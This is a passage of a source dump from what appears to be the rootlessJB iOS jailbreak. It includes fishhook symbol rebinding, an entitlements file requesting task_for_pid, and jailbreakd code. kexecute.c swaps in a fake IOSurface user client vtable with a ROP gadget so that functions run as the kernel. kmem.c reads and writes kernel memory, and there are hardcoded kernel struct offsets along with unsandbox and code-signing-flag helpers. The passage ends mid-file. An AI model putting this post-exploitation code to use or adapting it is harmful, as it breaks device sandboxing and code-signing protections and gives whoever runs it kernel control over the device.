| } 110 | cur = cur->next; 111 | } 112 | symbol_loop:; 113 | } 114 | } 115 | 116 | static void rebind_symbols_for_image(struct rebindings_entry *rebindings, 117 | const struct mach_header *header, 118 | intptr_t slide) { 119 | Dl_info info; 120 | if (dladdr(header, &info) == 0) { 121 | return; 122 | } 123 | 124 | segment_command_t *cur_seg_cmd; 125 | segment_command_t *linkedit_segment = NULL; 126 | struct symtab_command* symtab_cmd = NULL; 127 | struct dysymtab_command* dysymtab_cmd = NULL; 128 | 129 | uintptr_t cur = (uintptr_t)header + sizeof(mach_header_t); 130 | for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) { 131 | cur_seg_cmd = (segment_command_t *)cur; 132 | if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) { 133 | if (strcmp(cur_seg_cmd->segname, SEG_LINKEDIT) == 0) { 134 | linkedit_segment = cur_seg_cmd; 135 | } 136 | } else if (cur_seg_cmd->cmd == LC_SYMTAB) { 137 | symtab_cmd = (struct symtab_command*)cur_seg_cmd; 138 | } else if (cur_seg_cmd->cmd == LC_DYSYMTAB) { 139 | dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd; 140 | } 141 | } 142 | 143 | if (!symtab_cmd || !dysymtab_cmd || !linkedit_segment || 144 | !dysymtab_cmd->nindirectsyms) { 145 | return; 146 | } 147 | 148 | // Find base symbol/string table addresses 149 | uintptr_t linkedit_base = (uintptr_t)slide + linkedit_segment->vmaddr - linkedit_segment->fileoff; 150 | nlist_t *symtab = (nlist_t *)(linkedit_base + symtab_cmd->symoff); 151 | char *strtab = (char *)(linkedit_base + symtab_cmd->stroff); 152 | 153 | // Get indirect symbol table (array of uint32_t indices into symbol table) 154 | uint32_t *indirect_symtab = (uint32_t *)(linkedit_base + dysymtab_cmd->indirectsymoff); 155 | 156 | cur = (uintptr_t)header + sizeof(mach_header_t); 157 | for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) { 158 | cur_seg_cmd = (segment_command_t *)cur; 159 | if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) { 160 | if (strcmp(cur_seg_cmd->segname, SEG_DATA) != 0 && 161 | strcmp(cur_seg_cmd->segname, SEG_DATA_CONST) != 0) { 162 | continue; 163 | } 164 | for (uint j = 0; j < cur_seg_cmd->nsects; j++) { 165 | section_t *sect = 166 | (section_t *)(cur + sizeof(segment_command_t)) + j; 167 | if ((sect->flags & SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) { 168 | perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab); 169 | } 170 | if ((sect->flags & SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) { 171 | perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab); 172 | } 173 | } 174 | } 175 | } 176 | } 177 | 178 | static void _rebind_symbols_for_image(const struct mach_header *header, 179 | intptr_t slide) { 180 | rebind_symbols_for_image(_rebindings_head, header, slide); 181 | } 182 | 183 | int rebind_symbols_image(void *header, 184 | intptr_t slide, 185 | struct rebinding rebindings[], 186 | size_t rebindings_nel) { 187 | struct rebindings_entry *rebindings_head = NULL; 188 | int retval = prepend_rebindings(&rebindings_head, rebindings, rebindings_nel); 189 | rebind_symbols_for_image(rebindings_head, (const struct mach_header *) header, slide); 190 | free(rebindings_head); 191 | return retval; 192 | } 193 | 194 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) { 195 | int retval = prepend_rebindings(&_rebindings_head, rebindings, rebindings_nel); 196 | if (retval < 0) { 197 | return retval; 198 | } 199 | // If this was the first call, register callback for image additions (which is also invoked for 200 | // existing images, otherwise, just run on existing images 201 | if (!_rebindings_head->next) { 202 | _dyld_register_func_for_add_image(_rebind_symbols_for_image); 203 | } else { 204 | uint32_t c = _dyld_image_count(); 205 | for (uint32_t i = 0; i < c; i++) { 206 | _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i)); 207 | } 208 | } 209 | return retval; 210 | } 211 | -------------------------------------------------------------------------------- /empty_list/fishhook/fishhook.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2013, Facebook, Inc. 2 | // All rights reserved. 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // * Redistributions of source code must retain the above copyright notice, 6 | // this list of conditions and the following disclaimer. 7 | // * Redistributions in binary form must reproduce the above copyright notice, 8 | // this list of conditions and the following disclaimer in the documentation 9 | // and/or other materials provided with the distribution. 10 | // * Neither the name Facebook nor the names of its contributors may be used to 11 | // endorse or promote products derived from this software without specific 12 | // prior written permission. 13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | 24 | #ifndef fishhook_h 25 | #define fishhook_h 26 | 27 | #include 28 | #include 29 | 30 | #if !defined(FISHHOOK_EXPORT) 31 | #define FISHHOOK_VISIBILITY __attribute__((visibility("hidden"))) 32 | #else 33 | #define FISHHOOK_VISIBILITY __attribute__((visibility("default"))) 34 | #endif 35 | 36 | #ifdef __cplusplus 37 | extern "C" { 38 | #endif //__cplusplus 39 | 40 | /* 41 | * A structure representing a particular intended rebinding from a symbol 42 | * name to its replacement 43 | */ 44 | struct rebinding { 45 | const char *name; 46 | void *replacement; 47 | void **replaced; 48 | }; 49 | 50 | /* 51 | * For each rebinding in rebindings, rebinds references to external, indirect 52 | * symbols with the specified name to instead point at replacement for each 53 | * image in the calling process as well as for all future images that are loaded 54 | * by the process. If rebind_functions is called more than once, the symbols to 55 | * rebind are added to the existing list of rebindings, and if a given symbol 56 | * is rebound more than once, the later rebinding will take precedence. 57 | */ 58 | FISHHOOK_VISIBILITY 59 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel); 60 | 61 | /* 62 | * Rebinds as above, but only in the specified image. The header should point 63 | * to the mach-o header, the slide should be the slide offset. Others as above. 64 | */ 65 | FISHHOOK_VISIBILITY 66 | int rebind_symbols_image(void *header, 67 | intptr_t slide, 68 | struct rebinding rebindings[], 69 | size_t rebindings_nel); 70 | 71 | #ifdef __cplusplus 72 | } 73 | #endif //__cplusplus 74 | 75 | #endif //fishhook_h 76 | 77 | -------------------------------------------------------------------------------- /empty_list/iosbinpack.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/iosbinpack.tar -------------------------------------------------------------------------------- /empty_list/jailbreakd/Ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | platform-application 6 | 7 | get-task-allow 8 | 9 | com.apple.system-task-ports 10 | 11 | task_for_pid-allow 12 | 13 | com.apple.private.memorystatus 14 | 15 | com.apple.private.security.container-required 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = jailbreakd 2 | OUTDIR ?= bin 3 | 4 | CC = xcrun -sdk iphoneos cc -arch arm64 5 | LDID = ldid 6 | CFLAGS = -Wall -Wno-unused-variable -Wno-unused-function 7 | 8 | .PHONY: all clean 9 | 10 | all: $(OUTDIR)/$(TARGET) 11 | 12 | DEBUG ?= 0 13 | ifeq ($(DEBUG), 1) 14 | CFLAGS += -DJAILBREAKDDEBUG 15 | else 16 | CFLAGS += -O2 17 | endif 18 | 19 | $(OUTDIR): 20 | mkdir -p $(OUTDIR) 21 | 22 | $(OUTDIR)/$(TARGET): *.c *.m | $(OUTDIR) 23 | $(CC) -o $@ $^ -framework Foundation -framework IOKit $(CFLAGS) 24 | $(LDID) -SEnt.plist $@ 25 | 26 | clean: 27 | rm -f $(OUTDIR)/$(TARGET) 28 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/kern_utils.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import 3 | #import 4 | #import 5 | #import 6 | 7 | kern_return_t mach_vm_read( 8 | vm_map_t target_task, 9 | mach_vm_address_t address, 10 | mach_vm_size_t size, 11 | vm_offset_t *data, 12 | mach_msg_type_number_t *dataCnt); 13 | 14 | /****** IOKit/IOKitLib.h *****/ 15 | typedef mach_port_t io_service_t; 16 | typedef mach_port_t io_connect_t; 17 | 18 | extern const mach_port_t kIOMasterPortDefault; 19 | #define IO_OBJECT_NULL (0) 20 | 21 | kern_return_t 22 | IOConnectCallAsyncMethod( 23 | mach_port_t connection, 24 | uint32_t selector, 25 | mach_port_t wakePort, 26 | uint64_t* reference, 27 | uint32_t referenceCnt, 28 | const uint64_t* input, 29 | uint32_t inputCnt, 30 | const void* inputStruct, 31 | size_t inputStructCnt, 32 | uint64_t* output, 33 | uint32_t* outputCnt, 34 | void* outputStruct, 35 | size_t* outputStructCntP); 36 | 37 | kern_return_t 38 | IOConnectCallMethod( 39 | mach_port_t connection, 40 | uint32_t selector, 41 | const uint64_t* input, 42 | uint32_t inputCnt, 43 | const void* inputStruct, 44 | size_t inputStructCnt, 45 | uint64_t* output, 46 | uint32_t* outputCnt, 47 | void* outputStruct, 48 | size_t* outputStructCntP); 49 | 50 | io_service_t 51 | IOServiceGetMatchingService( 52 | mach_port_t _masterPort, 53 | CFDictionaryRef matching); 54 | 55 | CFMutableDictionaryRef 56 | IOServiceMatching( 57 | const char* name); 58 | 59 | kern_return_t 60 | IOServiceOpen( 61 | io_service_t service, 62 | task_port_t owningTask, 63 | uint32_t type, 64 | io_connect_t* connect ); 65 | 66 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); 67 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 68 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 69 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 70 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); 71 | 72 | uint64_t find_port(mach_port_name_t port); 73 | 74 | void fixupsetuid(int pid); 75 | 76 | int setcsflagsandplatformize(int pd); 77 | 78 | int unsandbox(int pd); 79 | 80 | extern mach_port_t tfpzero; 81 | extern uint64_t kernel_base; 82 | extern uint64_t kernel_slide; 83 | 84 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/kexecute.c: -------------------------------------------------------------------------------- 1 | #include "kmem.h" 2 | #include "kexecute.h" 3 | #include "kern_utils.h" 4 | #include "patchfinder64.h" 5 | #include "offsetof.h" 6 | 7 | mach_port_t prepare_user_client(void) { 8 | kern_return_t err; 9 | mach_port_t user_client; 10 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 11 | 12 | if (service == IO_OBJECT_NULL){ 13 | printf(" [-] unable to find service\n"); 14 | exit(EXIT_FAILURE); 15 | } 16 | 17 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 18 | if (err != KERN_SUCCESS){ 19 | printf(" [-] unable to get user client connection\n"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | 24 | printf("got user client: 0x%x\n", user_client); 25 | return user_client; 26 | } 27 | 28 | static int kexecute_lock = 0; 29 | static mach_port_t user_client; 30 | static uint64_t IOSurfaceRootUserClient_port; 31 | static uint64_t IOSurfaceRootUserClient_addr; 32 | static uint64_t fake_vtable; 33 | static uint64_t fake_client; 34 | const int fake_kalloc_size = 0x1000; 35 | 36 | void init_kexecute(void) { 37 | user_client = prepare_user_client(); 38 | 39 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 40 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 41 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port); 42 | 43 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 44 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr); 45 | 46 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 47 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab); 48 | 49 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 50 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 51 | 52 | 53 | // Create the vtable in the kernel memory, then copy the existing vtable into there 54 | fake_vtable = kalloc(fake_kalloc_size); 55 | printf("Created fake_vtable at %016llx\n", fake_vtable); 56 | 57 | for (int i = 0; i < 0x200; i++) { 58 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 59 | } 60 | 61 | printf("Copied some of the vtable over\n"); 62 | 63 | // Create the fake user client 64 | fake_client = kalloc(fake_kalloc_size); 65 | printf("Created fake_client at %016llx\n", fake_client); 66 | 67 | for (int i = 0; i < 0x200; i++) { 68 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 69 | } 70 | 71 | printf("Copied the user client over\n"); 72 | 73 | // Write our fake vtable into the fake user client 74 | wk64(fake_client, fake_vtable); 75 | 76 | // Replace the user client with ours 77 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 78 | 79 | // Now the userclient port we have will look into our fake user client rather than the old one 80 | 81 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 82 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 83 | 84 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex"); 85 | } 86 | 87 | void term_kexecute(void) { 88 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 89 | kfree(fake_vtable, fake_kalloc_size); 90 | kfree(fake_client, fake_kalloc_size); 91 | } 92 | 93 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 94 | while (kexecute_lock){ 95 | printf("Kexecute locked. Waiting for 10ms."); 96 | usleep(10000); 97 | } 98 | 99 | kexecute_lock = 1; 100 | 101 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 102 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 103 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 104 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 105 | // through like normal. 106 | 107 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 108 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 109 | // (i'm not actually sure if the switch back is necessary but meh) 110 | 111 | uint64_t offx20 = rk64(fake_client+0x40); 112 | uint64_t offx28 = rk64(fake_client+0x48); 113 | wk64(fake_client+0x40, x0); 114 | wk64(fake_client+0x48, addr); 115 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 116 | wk64(fake_client+0x40, offx20); 117 | wk64(fake_client+0x48, offx28); 118 | kexecute_lock = 0; 119 | return returnval; 120 | } -------------------------------------------------------------------------------- /empty_list/jailbreakd/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 5 | void init_kexecute(void); 6 | void term_kexecute(void); 7 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/kmem.c: -------------------------------------------------------------------------------- 1 | #import "kern_utils.h" 2 | #import "patchfinder64.h" 3 | #import "kmem.h" 4 | 5 | #define MAX_CHUNK_SIZE 0xFFF 6 | 7 | size_t kread(uint64_t where, void *p, size_t size) { 8 | int rv; 9 | size_t offset = 0; 10 | while (offset < size) { 11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 12 | if (chunk > size - offset) { 13 | chunk = size - offset; 14 | } 15 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 16 | if (rv || sz == 0) { 17 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 18 | break; 19 | } 20 | offset += sz; 21 | } 22 | return offset; 23 | } 24 | 25 | size_t kwrite(uint64_t where, const void *p, size_t size) { 26 | int rv; 27 | size_t offset = 0; 28 | while (offset < size) { 29 | size_t chunk = MAX_CHUNK_SIZE; 30 | if (chunk > size - offset) { 31 | chunk = size - offset; 32 | } 33 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 34 | if (rv) { 35 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 36 | break; 37 | } 38 | offset += chunk; 39 | } 40 | return offset; 41 | } 42 | 43 | uint64_t kalloc(vm_size_t size){ 44 | mach_vm_address_t address = 0; 45 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 46 | return address; 47 | } 48 | 49 | void kfree(mach_vm_address_t address, vm_size_t size){ 50 | mach_vm_deallocate(tfpzero, address, size); 51 | } 52 | 53 | uint32_t rk32(uint64_t kaddr) { 54 | uint32_t val = 0; 55 | kread(kaddr, &val, sizeof(val)); 56 | return val; 57 | } 58 | 59 | uint64_t rk64(uint64_t kaddr) { 60 | uint64_t val = 0; 61 | kread(kaddr, &val, sizeof(val)); 62 | return val; 63 | } 64 | 65 | void wk32(uint64_t kaddr, uint32_t val) { 66 | kwrite(kaddr, &val, sizeof(val)); 67 | } 68 | 69 | void wk64(uint64_t kaddr, uint64_t val) { 70 | kwrite(kaddr, &val, sizeof(val)); 71 | } 72 | 73 | // thx Siguza 74 | typedef struct { 75 | uint64_t prev; 76 | uint64_t next; 77 | uint64_t start; 78 | uint64_t end; 79 | } kmap_hdr_t; 80 | 81 | uint64_t zm_fix_addr(uint64_t addr) { 82 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; 83 | 84 | if (zm_hdr.start == 0) { 85 | // xxx rk64(0) ?! 86 | uint64_t zone_map = rk64(find_zone_map_ref()); 87 | // hdr is at offset 0x10, mutexes at start 88 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); 89 | printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr)); 90 | 91 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { 92 | printf("kread of zone_map failed!\n"); 93 | exit(1); 94 | } 95 | 96 | if (zm_hdr.end - zm_hdr.start > 0x100000000) { 97 | printf("zone_map is too big, sorry.\n"); 98 | exit(1); 99 | } 100 | } 101 | 102 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); 103 | 104 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; 105 | } 106 | 107 | int kstrcmp(uint64_t kstr, const char* str) { 108 | // XXX be safer, dont just assume you wont cause any 109 | // page faults by this 110 | size_t len = strlen(str) + 1; 111 | char *local = malloc(len + 1); 112 | local[len] = '\0'; 113 | 114 | int ret = 1; 115 | 116 | if (kread(kstr, local, len) == len) { 117 | ret = strcmp(local, str); 118 | } 119 | 120 | free(local); 121 | 122 | return ret; 123 | } 124 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/kmem.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | uint64_t kalloc(vm_size_t size); 4 | void kfree(mach_vm_address_t address, vm_size_t size); 5 | 6 | size_t kread(uint64_t where, void *p, size_t size); 7 | uint32_t rk32(uint64_t kaddr); 8 | uint64_t rk64(uint64_t kaddr); 9 | 10 | size_t kwrite(uint64_t where, const void *p, size_t size); 11 | void wk32(uint64_t kaddr, uint32_t val); 12 | void wk64(uint64_t kaddr, uint64_t val); 13 | 14 | uint64_t zm_fix_addr(uint64_t addr); 15 | 16 | int kstrcmp(uint64_t kstr, const char* str); 17 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/offsetof.c: -------------------------------------------------------------------------------- 1 | 2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 3 | unsigned offsetof_task = 0x18; // proc_t::task 4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid 5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid 6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid 7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid 8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 13 | unsigned offsetof_itk_space = 0x308; // task_t::itk_space 14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 17 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp 18 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff 19 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype 20 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype 21 | unsigned offsetof_special = 2 * sizeof(long); // host::special 22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 23 | 24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid 25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid 27 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups 28 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups 29 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid 30 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid 31 | 32 | unsigned offsetof_v_type = 0x70; // vnode::v_type 33 | unsigned offsetof_v_id = 0x74; // vnode::v_id 34 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 35 | 36 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 37 | 38 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 39 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 40 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 41 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 42 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 43 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary 44 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path 45 | 46 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags 47 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/offsetof.h: -------------------------------------------------------------------------------- 1 | extern unsigned offsetof_p_pid; 2 | extern unsigned offsetof_task; 3 | extern unsigned offsetof_p_uid; 4 | extern unsigned offsetof_p_gid; 5 | extern unsigned offsetof_p_ruid; 6 | extern unsigned offsetof_p_rgid; 7 | extern unsigned offsetof_p_ucred; 8 | extern unsigned offsetof_p_csflags; 9 | extern unsigned offsetof_itk_self; 10 | extern unsigned offsetof_itk_sself; 11 | extern unsigned offsetof_itk_bootstrap; 12 | extern unsigned offsetof_itk_space; 13 | extern unsigned offsetof_ip_mscount; 14 | extern unsigned offsetof_ip_srights; 15 | extern unsigned offsetof_ip_kobject; 16 | extern unsigned offsetof_p_textvp; 17 | extern unsigned offsetof_p_textoff; 18 | extern unsigned offsetof_p_cputype; 19 | extern unsigned offsetof_p_cpu_subtype; 20 | extern unsigned offsetof_special; 21 | extern unsigned offsetof_ipc_space_is_table; 22 | 23 | extern unsigned offsetof_ucred_cr_uid; 24 | extern unsigned offsetof_ucred_cr_ruid; 25 | extern unsigned offsetof_ucred_cr_gid; 26 | extern unsigned offsetof_ucred_cr_rgid; 27 | extern unsigned offsetof_ucred_cr_svgid; 28 | extern unsigned offsetof_ucred_cr_groups; 29 | extern unsigned offsetof_ucred_cr_ngroups; 30 | extern unsigned offsetof_ucred_cr_svuid; 31 | 32 | extern unsigned offsetof_v_type; 33 | extern unsigned offsetof_v_id; 34 | extern unsigned offsetof_v_ubcinfo; 35 | 36 | extern unsigned offsetof_ubcinfo_csblobs; 37 | 38 | extern unsigned offsetof_csb_cputype; 39 | extern unsigned offsetof_csb_flags; 40 | extern unsigned offsetof_csb_base_offset; 41 | extern unsigned offsetof_csb_entitlements_offset; 42 | extern unsigned offsetof_csb_signer_type; 43 | extern unsigned offsetof_csb_platform_binary; 44 | extern unsigned offsetof_csb_platform_path; 45 | 46 | extern unsigned offsetof_t_flags; 47 | -------------------------------------------------------------------------------- /empty_list/jailbreakd/osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "kexecute.h" 3 | #include "kmem.h" 4 | #include "patchfinder64.h" 5 | #include "osobject.h" 6 | 7 | // offsets in vtable: 8 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 9 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 10 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 11 | 12 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 13 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 14 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 15 | 16 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 17 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 18 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 19 | 20 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 21 | 22 | // 1 on success, 0 on error 23 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 24 | size_t len = strlen(key) + 1; 25 | 26 | uint64_t ks = kalloc(len); 27 | kwrite(ks, key, len); 28 | 29 | uint64_t vtab = rk64(dict); 30 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 31 | 32 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); 33 | 34 | kfree(ks, len); 35 | 36 | return rv; 37 | } 38 | 39 | // XXX it can return 0 in lower 32 bits but still be valid 40 | // fix addr of returned value and check if rk64 gives ptr 41 | // to vtable addr saved before 42 | 43 | // address if exists, 0 if not 44 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 45 | size_t len = strlen(key) + 1; 46 | 47 | uint64_t ks = kalloc(len); 48 | kwrite(ks, key, len); 49 | 50 | uint64_t vtab = rk64(dict); 51 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 52 | 53 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); 54 | 55 | kfree(ks, len); 56 | 57 | return rv; 58 | } 59 | 60 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 61 | uint64_t ret = _OSDictionary_GetItem(dict, key); 62 | 63 | if (ret != 0) { 64 | // XXX can it be not in zalloc?.. 65 | ret = zm_fix_addr(ret); 66 | } 67 | 68 | return ret; 69 | } 70 | 71 | // 1 on success, 0 on error 72 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 73 | uint64_t vtab = rk64(dict); 74 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 75 | 76 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); 77 | } 78 | 79 | // 1 on success, 0 on error 80 | int OSArray_Merge(uint64_t array, uint64_t aArray) { 81 | uint64_t vtab = rk64(array); 82 | uint64_t f = rk64(vtab + off_OSArray_Merge); 83 | 